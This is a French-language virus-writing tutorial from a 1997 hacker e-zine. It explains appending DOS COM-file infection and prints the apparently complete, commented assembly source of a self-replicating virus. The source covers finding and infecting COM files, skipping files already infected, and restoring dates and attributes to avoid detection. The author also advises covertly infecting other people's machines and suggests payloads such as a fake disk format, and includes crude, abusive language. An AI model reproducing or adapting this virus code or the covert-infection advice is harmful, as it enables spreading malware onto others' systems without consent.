|[)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(][)ÍÄÄÄÄÄÍ(]| ÄÄÄÄÍÄÄÍÄÄÍÄÄÍÄÄÍÄ NoN-OvErWrITTER vIrUS ÍÄÄÍÄÄÍÄÄÍÄÄÍÄÄÄÄÄ by Unk MnemoniK for MJ|3 Je vais vous parler de la cat‚gorie des ‚l‚phants a poils verts qui n'‚crasent pas les fichiers infect‚s (les non-overwritter pour faire s‚rieux), Je dois dire que le plus dure c'est d'avoir compris parcqu'aprŠs ca devient trŠs amusant , bon j'avoue que la premiŠre fois que j'avais ‚cris cet article (15Ko) c'‚tait un peu compliqu‚ , ben je l'ai r‚‚cris en prennant garde de faire des phrases avec des sujets , des verbes et des mots et un peu plus d'explication (18Ko) , bon j'ai d‚cid‚ de le r‚‚crire et que ce soit compr‚hensible pour les gros newbies (25Ko), bref , n'h‚sitez pas a m'envoyer des mails avec vos questions mais plus chez aol parceque ces cons ont p‚t‚s mes fake account alors pour ceux qui captent pas : -> zorohack@hotmail.com ! Le principe ­ ÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ Au d‚part , Dieu cr‚a l'univers(on a appui‚ sur FF>>) , .... et un jour le dos arriva sur nos ptits ‚crans hercule , Quand on lancait les charmants petits COM , le dos placait (et place toujours d'ailleur ) quelque part dans la m‚moire a 100H tout pile , avant les 100H sont contenues quelques informations dont nous n'avons aucun interet , bref a l'‚x‚ction , votre ordinateur ‚x‚cutera l'instruction a 100h puis celle a 101h puis celle a 102h etc... etc... jusqu'a ce qu'il ‚x‚cute un RET sans JUMP ou bien il a ‚x‚cut‚ la fonction 4C21h ( foction 4Ch de l'int‚ruption 21h ou encore ) - Si vous voulez y connaissez et gagnez du temps , lisez un peu plus bas ca nous donne comme suite Info : xxxx:0000 Informations ³ Yourprog: 0100 print "bonjour" ³ 0101 commande "exemple" \|/ 0102 End " NB: xxxx est l'adresse du segment m‚moire mais nous n'en avons aucune utilit‚e dans les fichiers com Et un jour , Zorro est arriv‚ et il s'est dit , si on collait deux programmes l'un a la suite de l'autre , donc faisons Yourprog + Myprog , Myprog est notre petit programme rebel (rebel rebel hein) ca ne donne rien parcequ'a 102h, le programme se termine a 102h , faisons le contraire : Myprog + Yourprog , ca plante , pourquoi ? Ok , c'est la o— ca se corse , quand Yourprog a ‚t‚ compil‚ , toutes les donn‚es de Yourprog furent plac‚ … un endroit bien pr‚cis dans le fichier COM pour que celes ci se trouve au bon endroit dans la m‚moire , donc a l'ex‚cution , par exemple un jump far aura la cordon‚e de votre subfonction , mais si on ajoute myprog , le jump far vas sauter dans cette meme coordon‚es mais a la place de notre subfonction , il vas arriver en plein dans Myprog et planter La solution : Il faudrait modifier toutes les valeurs de Yourprog et y ajouter le nombre d'octet de Myprog comme ca tout serait parfait , sauf.... sauf que l'on ne peux modifier Yourprog , par exemple si yourprog fait 50 Ko le modifier entiŠrement serait completement impossible - Si vous vous y connaissez un peu , lisez a partir d'ici Par contre dans YourProg + Myprog, c'est chose tout a fait facile puisque l'on peux parametrer Myprog en fonction , par exemple , au lieu de mettre MOV SI, OFFSET GGO , on pourrais mettre LEA SI, [BP+GGO] ou bien MOV SI,BYTE PTR[BP+GGO] , ca reviens au mˆme a part qu'avec Mov , il faut pr‚ciser la nature de la destination ( byte , word ...) , et nous mettons en BP , la grandeur de Yourprog , donc la valeur correspond parfaitement , oui mais... il faudrait que Myprog se lance avant Yourprog , la solution , c'est de mettre en 100h ( la premiŠre instruction que l'on executera ) un jump vers myprog en ‚crasant tout simplement les premiers octets que Myprog se chargerait de restaurer puis une fois myprog termin‚ , on refait un jump vers 100h et ca marrrrrrrrche !!!!!!!!!!!!!!!!! Nous avons pour ce sh‚ma : A l'‚x‚cution : 1 JMP Myprog ÄÄÄÄÄÄÄ¿ 2 YourProg + FIN <ÄÄÅÄ¿ ÚÄÄ 4 Myprog <ÄÄÄÄÄÄÄÄÄÄÙ ³ ÀÄ> 5 restore Yourprog ÄÄÄÙ maintenant si l'on remplace les commandes par des commandes assembleur , on se retrouverai avec a peu prŠs ca au d‚bbuger : Yourprog: xxxx:0100 JMP 102h ; saute et va executer notre porgramme 0101 RET Myprog: xxxx:0102 POP BP ; prend l'endroit ou je suis 0103 SUB BP-100h ; enleve 100 0104 MOV AX,9 ; notre petit programme 0105 MOV DX,BP+110H ; met en Dx l'offset de 'HELLO' 0106 INT 21H ; voila , imprime a l'‚cran 0107 MOV SI,BP+111H ; fixe la source = 111h + 2(BP) = 112 0108 MOV DI,100 ; fixe la destination = 100h 0109 MOVSB ; bouge 1 octet (byte) 0110 JUMP 100h ; saute sur 100h 0111 'HELLO' 0112 NOP *** BP sera ‚gal a 1 ici et toutes nos donn‚es seront ok commencons a ‚crire notre virus - ; nom: MJ13.COM.1.cot‚obscur.byUnkm97 , MJ13-b pour etre + simple ; taille : +- 343 octets ; ************************************************************************** .model TINY ; <--- On s'en tape .code ; <--- ca aussi on s'en tape org 100h ; <--- ca c pour dire que c un fichier com ; mais on s'en tape aussi START: JMP VIRUS - ce jump sera remplac‚ par orig_start - VIRUS proc near CALL STARTUP STARTUP: pop bp sub bp, offset startup - Par un grand et heureux hasard , Bp contient la taille du fichier , mais quand on regarde de plus prŠs , on se rend compte bp = la taille + 100h + l'adresse du pop Bp , donc , on enleve 100h et les 3 octets avant comme ca on a la taille effective du fichier - lea si,[bp+ORIG_START] ; Restore original 3 bytes mov di,100h ; to 100h, start of file movsw ; il bouge quoi movsb - la plupart des infecteurs coms fonctionnent sur le sh‚ma ci-dessus , vous pouvez tout a fait le piquer et les anti-virus ne vous feront pas chier pour autant ici on pose la source en si , et c'est ORIG_START qui est la source , ce sont les anciens octets qui sont sauv‚s et qui vont ˆtre replac‚ a 100h (di , destination) , ensuite on effectue un movsw , donc on d‚place 2 octets(word) de la source vers la destination puis on d‚place 1 octet movsb (byte) Puis nous devons assumer les caract‚ristiques d'un virus : se recopier … tors et … travers mais d'abord fixons la DTA a 128+BP comme ca y'aura pas d'erreur possible(1A21h) - LEA DX,[BP+128] ; fixe l'adresse en DX MOV AH,1Ah ; fixe en ax la fonction INT 21h ; et vas l'‚xecuter - Ok ceci fait , il nous faut chercher le premier fichier COM dans la directorie (voir article pr‚c‚dent) - MOV AH,4Eh ; recherche 1er fichier dans la dir MOV CX,00000110B ; fichiers cach‚s et RO ok pour infect. LEA DX,[BP+COMFILE] ; met en DX comfile --> *.com INT 21h ; execute JC QUIT ; si y'en a pas , byebye CALL INFECT ; ok infecte JZ QUIT ; si l'infection a eu lieu , quitte - Ici il ouvre le premier fichier COM , mais si ya une erreur ( JC ) ben quitte le virus , sinon vas infecter (d'abord tester) , si le test est n‚gatif ben il vas au cherche le fichier suivant pour l'infecter sinon quitte - CLOSE: MOV AH,3EH ; ferme le fichier ouvert INT 21h ; appel d'int‚ruption PLUS: MOV AX,4F00h ; vas cherche le prochian fichier INT 21h JC QUIT ; si yen a plus ---> jump quit CALL INFECT ; il vas aller infecter JNZ CLOSE ; si le fichier est pas bon , close - recherche le prochian fichier com si vous captez pas , lisez l'article pr‚c‚dent - QUIT: MOV DX,80h ; ici il fixe en dx l'adresse de la MOV AH,1AH ; nouvelle dta , INT 21h MOV DI,100h ; met 100h en DI JMP DI ; saute sur 100h - pour quitter le virus , il saute sur 100h et relance le programme principal voir plus haut pour explication ************************** La proc‚dure d'infection *********************** en fait , je fais toujours une proc‚dure d'infection divis‚ en 2 partie 1 test si le fichier a infecter est OK 2 si il est movais ,retour avec fermeture du fichier et recherche du prochain 3 si ok beh infecte et ferme le fichier et retourne pour quitter NB : toute ouverture en ‚criture entraine irr‚m‚diablement une modification de la date et de l'heure de derniŠre ‚criture logique non ? oui mais c'est chiant parceque l'on peux savoir la date et l'heure d'infection et reperez que c'est vous donc , pour tester , nous ouvrirons en lecture et testerons ce que ca donne et pour l'infection , nous sauverons les attributs et nous ‚crirons notre virus puis nous refixons la date ( qui est sauv‚ dans la dta) et les attributs , donc ca nous permet d'infecter incognito test si le virus est pret a infecter : 1ø) il faut qu'il soit plus gros que 500ko 2ø) il faut qu'il n'ait pas les attributs de son g‚niteur 3ø) il ne peux comporter ZM ou MZ comme premiers octets et tant qu'on y est on souvera les 3 premier octets dans ORIG_START - INFECTE proc near ; ici repr‚sente la sous-fonction ; de non-r‚infection et d'infection MOV AX,3D00H ; ouvre en lecture seule LEA DX,[BP+128+30] ; met sur Dx le nom du fichier a tester INT 21H ; appel a l'int‚ruption 21h MOV BX,AX ; refixe AX sur BX pour les prochaines ; int‚ruptions - ouverture du fichier COM plac‚ dans la dta en lecture seule et on place en BX son handle - ; Nouveaut‚es MOV CX,WORD PTR[BP+128+26] ; Compare la grandeur du fichier CMP CX,5000 ; si inf‚rieur a 5000 JNA REFUSE ; retour comme fichier invalide ; a l'infection - il serait en fait ab‚rant de voir des fichiers com de 20 ou 50 ou 100 octets prendre d'un coup 300 octets , l'on connait la taille du fichier grace … la dta , on fiat une comparaison avec 5000 , ici on fiat appel la fonction JNA fait office de jump si la comparaison pr‚c‚dente donne un r‚sultat inf‚rieur de X1 … X2 , ca nous donne if X1 < X2 then goto END - MOV AX,4200h ; repositionne au d‚but MOV CX,0 ; a z‚ro MOV DX,0 ; octet du d‚but INT 21H - se remet au d‚but du fichier - MOV AH,3FH ; se pr‚pare a lire MOV CX,2 ; 2 octets LEA DX,[BP+EXETEST] ; les placent dans EXETEST INT 21H ; et les stockes MOV CX,WORD PTR[BP+EXETEST] ; fixe les octets dans CX MOV DX,'MZ' ; met en DX le mot MZ CMP CX,DX ; compare CX et DX JE REFUSE ; si ils sont identique : movais MOV DX,'ZM' ; met en DX le mot ZM CMP CX,DX ; si ils sont identique : movais JE REFUSE - Le dos ‚xecute les COM commencant par MZ ou ZM comme des fichier EXE et les EXE ne commencant pas par ces octets comme des fichiers COM , mais un fichier EXE ne peut etre infect‚ de la mˆme maniŠre qu'un fichier COM donc il nous faut detecter si celui ci est bien un com ou non - MOV AX,4200h ; positionne a la fin MOV CX,WORD PTR[BP+128+28] ; grandeur du fichier>4 octets MOV DX,WORD PTR[BP+128+26] ; grandeur du fichier>4 octets SUB DX,3 ; on enlŠve 3 a DX MOV WORD PTR[BP+JOFFSET],DX ; ici sauvegarde en JOFFSET - ok ici , on se positionne a la fin et on sauvegarde en DX la grandeur du fichier pour aprŠs la restaur‚ en JOFFSET , on enleve 3 octet (ORIG_START) et nous avons la bonne valeur pour le jump de d‚part - SUB DX,JOFFSET-COMFILE-3 ; se place a l'endroit de COMFILE INT 21h ; positionner a 14 octets de la MOV AH,3FH ; et se pr‚pare a lire MOV CX,2 ; 2 octets LEA DX,[BP+MTEST] ; les stock sur MTEST INT 21H ; appel d'int‚ruption MOV AX,WORD PTR[BP+MTEST] ; compare Mtest a la marque MOV CX,WORD PTR[BP+COMFILE] ; du virus ici co(coui*.com) CMP AX,CX ; comparaison - derniŠre v‚rification : est ce que le virus est il infect‚ , en fait on compare dans les derniŠrs octets la marque du virus ici coui*.com sauf que l'on ne compare que les 2 premiers octets ( vi on joue sur des words ) avec ceux de comfile qui sont aussi ‚gal a co donc si ils sont similaires fichier movait pour infections parcequ'il est deja infect‚ si vous ˆtes pas un pro en assembleur , vous vous demandez pourquoi j'ai ‚cris SUB DX,JOFFSET-COMFILE-3 , ben c trŠs simple , il nous faut etre a l'endroit dans le fichier test au meme que dans ce virus , puisque nous reculons de quelques octets , a l'assemblage , tasm mettra en au lieu de JOFFSET-etcetc l'adresse de JOFFSET moin celle de COMFILE - 3 puisque on a deja enlever 3 plus haut , ex 140h (JOFFSET) - 130h (comfile) - 3 , ce genre de choses est utile pour gagner du temps a ne pas calculer la valeur exacte , l'ordi le fera pour vous - JNZ SUIVANT ; diff‚rent > ajoute code REFUSE: MOV AL,1 ; sinon retour code 1 OR AL,AL RET ; chercher suivant - REFUSE d‚clare que le fichier n'est pas valide a l'infection , il revoit 1 en comparaison pour signaler une erreur intervenue , et il retourne au programme qui l'a appel‚ - SUIVANT: MOV AH,3EH ; ferme fichier INT 21H - il ferme le fichier glandu - MOV AX,4300H ; se pr‚pare a lire les MOV CX,0 ; attributs du fichiers LEA DX,[BP+128+30] ; infect‚ (celui dans la dta) INT 21H ; et execute MOV WORD PTR [BP+IZNOGOOD],CX ; place les attributs a IZNOGOOD MOV AX,4301H ; maintenant fixe les attributs MOV CX,0 ; a z‚ro INT 21H - cette fonction ici est tout a fait sp‚ciale , elle fait appel a l'int‚rruption 43h qui fixe l'attribut d'un fichier , ma premiŠre id‚e fut de chercher les attributs sur la dta elle mˆme , je n'ai eu aucun r‚sultat positif , j'ai donc r‚solu le problŠme en 1ø determiner l'attribut 2ø le sauver les attributs a l'offset IZNOGOOD 3ø fixe les attributs du fichier a z‚ro pour que l'on puisse ‚crire dessus -les attributs , c'est le type de fichier , si il est cach‚ , si c'est une directorie , si il est read only ou bien si c'est une archive au cas ou yen aurait qui aurait tjs pas capt‚s - MOV AX,3D02H ; R‚ouvre en ‚criture seule LEA DX,[BP+128+30] ; le fichier pret-a-infecter INT 21H MOV BX,AX ; replace le handle en BX MOV AX,4200h ; Positionne au d‚but MOV CX,0 ; se postionne au d‚but MOV DX,0 ; au tout d‚but INT 21h ; il y vas MOV AH,3FH ; lit 3 octets et les stocke MOV CX,3 ; dans origstart LEA DX,[BP+ORIG_START] ; ceux ci seront plac‚ a INT 21h ; 100h au d‚marrage du prog - sauve les 3 premiers octets du fichier infect‚ dans origstart , ici plus bas pour que quand le virus sera ‚cris , il ne contiennent plus les octets de l'ancien fichier COM mais ceux de celui ci - MOV AX,4200H ; se repostionne au d‚but MOV CX,00 ; au commencement MOV DX,00 ; ben vi , le d‚ - but INT 21H ; appel d'int‚ruption MOV AH,40H ; ‚crit le JMP qui MOV CX,3 ; va envoyer vers le virus LEA DX,[BP+HEADER] ; dans le fichier inf‚ct‚ INT 21H - maintenant que ces octets sont sauv‚s , on peux se permettre d'‚crire notre jump a partir de header , a pr‚ciser qu'aprŠs Header qui ne fait qu'1 octet se trouve la grandeur du fichier - 3 donc le jump est tout trouver - MOV AX,4202h ; postionne a la fin MOV CX,00 ; tout a la fin MOV DX,00 ; au dernier octet INT 21h ; appel d'int‚ruption MOV AH,40H ; met 40 H en valeur MOV CX,JOFFSET-VIRUS ; taille du virus LEA DX,[BP+VIRUS] ; code octets du virus dans la m‚moire INT 21H - ici , nous mettons a la fin du fichier toute notre routine VIRUS qui se trouve en m‚moire, l'infection est termin‚e - MOV AX,5701H ; nous restaurons la MOV CX,WORD PTR [BP+128+22] ; derniŠre heure d'‚criture MOV DX,WORD PTR [BP+128+24] ; deniŠre date d'‚criture INT 21H - restaure l'heure et la date pour que le virus reste anonyme - mov ah,3Eh ; ferme le fichier int 21h MOV CX,WORD PTR[BP+IZNOGOOD] ; r‚staure les attributs MOV AX,4301H ; sauvegarder dans la dta LEA DX,[BP+128+30] ; au programme infect‚ INT 21H ; cette fonction est coupl‚e avec celle utilsant 43H plus haut , nous ; restaurons les attributs a l'utilisateur vous comprendrez qu'il est ; important de simuler a l'utilisateur que les fichiers infect‚s n'ont ; pas ‚t‚ chang‚ car le but est de ne pas eveiller sa suceptibilit‚e mov al,0 ; retour AVEC CODE 0 or al,al ret ; -> tout va bien INFECT endp IZNOGOOD: DB 0,0 COMFILE: DB 'coui*.com',0 ORIG_START: DB 0CDh,20h,0 ; --> les pseudos premiers octets HEADER: DB 0E9H - les informations contenue plus haut sont d'1 interˆt capital et ceux plus bas sont seulement temporaire et ne doivent pas etre sauv‚ avec le virus - VIRUS endp JOFFSET: DW ? MTEST: DW ? EXETEST: DW ? end start - ahhhhh c'est fini ! Vous pouuvez inscrire dedans tout un programme qui s'executera en premier (pas trop gros quand meme) genre demande de pass ou petit jeu comme Oxo qui se provoque un beau jour de votre choix devant les beaux yeux ‚bahis de l'infect‚ (je vous laisse programmer ca vous mˆme) , ‚viter d'ˆtre destructeur ou bien simuler des effets ou insultez l'utilisateur choqu‚ par tant de grossiŠrt‚e (oui , allez y a donf , must to be chocking, chocking fuck sa mother par tout les trous , et enculer sa chienne de femme par d‚rrierre , ne vous g‚nez pas ) un truc marrant serait simuler le format du disque , pour ma part , j'‚vite de d‚truire gratuitement , je trouve ca inutile , ok ca emmerde bien l'infect‚ (ce qui est en soi rigolo ) mais bon , a vous de voir Qui infecter ? , en fait c'est la ou c'est drole , on peut infeceter tout le monde sans savoir que l'on puisse savoir d'ou vient le virus , le seul indice restait la date de l'infection et l'heure , ceci n'est plus possible car nous savons ais‚ment l'‚ffacer , j'ai quelque note a pr‚ciser , n'infecter jamais sous l'oeuil de qui que ce soit , ca ‚vite d'‚veiller des soupsons de qui que ce soit , parce que dŠs qu'ils auront un problŠme , ils croiront que c'est la faute a un virus ( vi , c toujours la fote a un virus chez les gens ) a part que le virus que vous avez mis ne d‚truis rien ,il vous faut etre le plus rapide possible lors de l'infection, perso je cr‚e une disquette bootable et j'en modifie l'autoexec.bat en cons‚quence , dŠs que je suis libre sur la b‚cane je boot ou je fais ctrl-alt-delete , puis un dir s'ex‚cutent devant mes yeux , je regarde si l'infection s'est bien produite et puis shutdown , de cette fa‡on vous avez un minimum de risque de vous faire reperer et surtout de faire rep‚rer vot' virus. Amusez vous a reprogrammer ce virus de vous mˆme , en gardant votre style de programmation et vos fonctions Je me suis pos‚ la question , les virus agissent souvent en Trojan , cad que si la date fix‚ par le virus est ‚gale a celle du Bios , il ya aura activation d'un programme , chose qui se faisait facilement une fois le command.com dans la root infect‚ , ceci est impossible avec caplantetoultemps95 ,L'id‚e est d'infecter le WIN.COM dans le repertoire windows , celui ci est un com tout ce qu'il ya de normal, l'effet se montrera au lancement de windoz a part que ca peux merder vu que ce virus merde parfois avec certains com , chiez j'ai pas doz95 , bon a vous de voir non , j'ai pas fait une version pour l'assembleur A86 , mais bon soyez pas si triste puisque je vous livre l'assembleur et le compileur du Turbo assembleur de chez Borland , Merci qui ??? je certifie que ce virus , a ‚t‚ test‚ , qu'il ne cause pas de graves ennuis qu'ils n'est pas reconnnu par mon anti-virus(en l'occurence f-prot 'dec 96) a la sortie de MJ13 (oui c'est un peu vieux je l'avoue aujourd'hui mais le jour ou j'ai ‚cris cet article pour la 1ø fois , c'‚tait d'‚poque ) je l'ai prouv‚ dans le fichier CERTIFY FILEZ - ******************************************************************* DIRECTORIE+NOM EXT TAILLE Descrtiption Att -------------- --- --- --- --- ----------------------------- --- TASM EXE 105.651 Assembleur TASM TLINK EXE 53.510 Compileur TASM CERTIFY 937 Certification COM\COUI1 COM 5.908 Fichier couillon test R/O COM\COUI COM 56.260 Fichier couillon COM\COMMAND COM 56.260 Command.com du dos 6.22 VIRUS\MJ13-B ASM 8.572 source de MJ13-B VIRUS\MJ13BRIP ASM 8.576 source de MJ13BRIP VIRUS\MJ13-B COM 339 MJ13-B infecte tous les coms VIRUS\MJ13BRIP COM 343 que les cou*.coms VIRUS\UNKM-PAS ASM 7.082 utilisation remarquable d'un virus VIRUS\UNKM-PAS COM 530 a ne pas lancer ‚viter de lancer les virus dans la mˆme directorie ceci ne ferait que les abimer **************************************************************************** N'h‚sitez pas a m'envoyer vos cr‚ations et aussi si je peux les diffuser ou pas , ca peux toujours ˆtre utile , Thanks et happy coding !!!!! ___|__|___ ÜÜܳ ³ ÄÍ UnK MnemoniK ÍÄ ÜÜÜßßß ³ ÛÛÛÛº ³ ,ÄÄÄ¿ßßß ³ ÛÛÛÛº ³ | KÓÓP Da WaREz !PhREE | ³ _| ÜÜÜÜßßß³ ³ ³ ³Üßßßßß ³ ÛÛº ³ THANKS TO : ChiKo , John , Erik Ze Red À¿ ³ ³ ³ Athalika , Uther's home Family , AleXneT ÚÄ|_³_______,ÄÄÄÄÄÁÍÍÍÍÍÍÍÍÍÍÙ 2Yak , Aries.be , Lithium , Ambio ³ º ³ | | Guillo , Bach , FFT4(ou 5) , KiNo , [HAPPY] ³_______|______|/__/ bLoRp , Cod444 , Kortex , et a Angel que j'aime ³ º ³ SPECIAL DEDIKACES ³________³____| Ä A toutes la þ FORCE þ , En particulier a JOE et a SAMSON ³ º ³ Ä tous le PHILAMENT (#Phe -effnet) parskils sont cools ³________³____| Ä Aux hauteurs de GOGO , e-mags trop cOOOl ³ º ³ - DSK , gargl pour sa belle page et a tous les autres.... ÀÄÄÄÄÄÄÄÄÁÄÄÄÙ grace a qui la french scene commence a ressembler a kelk choz SPECIAL THANKS : <( WiTzouILLe et Seb ( pour m'avoir envoyer leurs cr‚ations )> - UNKM >da small coderz< (C) - termin‚ le 11/06/1997 pour [MJ|3]-